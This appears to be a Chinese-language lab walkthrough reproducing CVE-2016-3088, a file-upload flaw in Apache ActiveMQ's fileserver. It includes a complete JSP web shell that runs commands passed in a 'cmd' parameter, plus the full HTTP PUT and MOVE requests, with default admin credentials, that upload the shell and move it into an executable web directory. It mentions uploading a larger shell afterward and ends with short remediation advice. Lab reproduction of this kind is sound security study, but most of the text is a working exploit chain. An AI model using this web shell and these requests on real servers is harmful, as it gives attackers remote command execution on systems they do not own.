1、靶场介绍

ActiveMQ是Apache软件基金会所研发的开放源代码消息中间件；由于ActiveMQ是一个纯Java程序，因此只需要操作系统支持Java虚拟机，ActiveMQ便可执行。

2、漏洞编号

CVE-2016-3088

1. 漏洞编号：CVE-2016-3088

2. 影响版本：Apache ActiveMQ 5.x~5.14.0

3、漏洞复现

3.1 靶场搭建

具体步奏请参考。。。。

查看具体版本

http://192.168.2.20:8161/admin/index.jsp?printable=trueadmin:admin

漏洞利用

查看绝对路径

生成后门：上传小马。

<%@ page import="java.io.*"%>
<%
out.print("Hello</br>");
String strcmd=request.getParameter("cmd");
String line=null;
Process p=Runtime.getRuntime().exec(strcmd);
BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
while((line=br.readLine())!=null){
out.print(line+"</br>");
}
%>

上传jsp

PUT /fileserver/1.txt HTTP/1.1
Host: 192.168.2.20:8161
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=1rlsob5mrxi5g173n8hr9gh7v7
DNT: 1
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 2621
​
<%@ page import="java.io.*"%>
<%
out.print("Hello</br>");
String strcmd=request.getParameter("cmd");
String line=null;
Process p=Runtime.getRuntime().exec(strcmd);
BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
while((line=br.readLine())!=null){
out.print(line+"</br>");
}
%>
​
​

修改报文头添加

MOVE /fileserver/1.txt
Destination:file:///opt/activemq/webapps/api/5.jsp

MOVE /fileserver/1.txt HTTP/1.1
Destination:file:///opt/activemq/webapps/api/5.jsp
Host: 192.168.2.20:8161
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=1rlsob5mrxi5g173n8hr9gh7v7
DNT: 1
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 2621
​
<%@ page import="java.io.*"%>
<%
out.print("Hello</br>");
String strcmd=request.getParameter("cmd");
String line=null;
Process p=Runtime.getRuntime().exec(strcmd);
BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
while((line=br.readLine())!=null){
out.print(line+"</br>");
}
%>

访问如下路径查找后门文件。

http://192.168.2.20:8161/api/

尝试连接。

上传完小马可以上传大马。

修复建议

1、ActiveMQ Fileserver 的功能在 5.14.0 及其以后的版本中已被移除。建议用户升级至 5.14.0 及其以后版本。

2、通过移除 conf\jetty.xml 的以下配置来禁用 ActiveMQ Fileserver 功能

3、打补丁

http://activemq.apache.org/security-advisories.data/CVE-2016-3088-announcement.txt